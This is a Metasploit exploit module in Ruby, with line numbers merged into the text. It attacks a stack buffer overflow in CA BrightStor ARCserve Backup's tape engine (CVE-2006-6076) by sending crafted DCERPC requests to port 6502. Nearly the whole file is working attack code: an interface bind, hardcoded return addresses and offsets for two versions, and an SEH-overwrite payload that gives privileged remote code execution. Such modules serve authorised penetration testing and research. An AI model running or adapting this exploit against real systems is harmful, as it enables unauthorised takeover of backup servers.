Path: blob/master/modules/exploits/windows/brightstor/tape_engine.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'CA BrightStor ARCserve Tape Engine Buffer Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup18r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow19the buffer and execute arbitrary code.20},21'Author' => [ 'MC', 'aushack' ],22'License' => MSF_LICENSE,23'References' => [24[ 'CVE', '2006-6076' ],25[ 'OSVDB', '30637' ],26[ 'BID', '21221' ],27[ 'EDB', '3086' ]28],29'Privileged' => true,30'DefaultOptions' => {31'EXITFUNC' => 'thread',32},33'Payload' => {34'Space' => 500,35'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",36'StackAdjustment' => -9500,37},38'Platform' => 'win',39'Targets' => [40[ 'BrightStor ARCserve r11.1', { 'Ret' => 0x2380cdc7, 'Offset' => 1158 } ], # p/p/r cheyprod.dll 07/21/200441[ 'BrightStor ARCserve r11.5', { 'Ret' => 0x2380ceb5, 'Offset' => 1132 } ], # p/p/r cheyprod.dll ??/??/????42],43'DisclosureDate' => '2006-11-21',44'DefaultTarget' => 1,45'Notes' => {46'Reliability' => UNKNOWN_RELIABILITY,47'Stability' => UNKNOWN_STABILITY,48'SideEffects' => UNKNOWN_SIDE_EFFECTS49}50)51)5253register_options([ Opt::RPORT(6502) ])54end5556def exploit57connect5859handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])60print_status("Binding to #{handle} ...")6162dcerpc_bind(handle)63print_status("Bound to #{handle} ...")6465request = "\x00\x04\x08\x0c\x02\x00\x00\x00\x00\x00"66request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"6768dcerpc.call(43, request)6970filler = "\x10\x09\xf9\x77" + rand_text_english(target['Offset'])71seh = generate_seh_payload(target.ret)72sploit = filler + seh7374print_status("Trying target #{target.name}...")7576begin77dcerpc_call(38, sploit)78rescue Rex::Proto::DCERPC::Exceptions::NoResponse79end8081handler82disconnect83end84end858687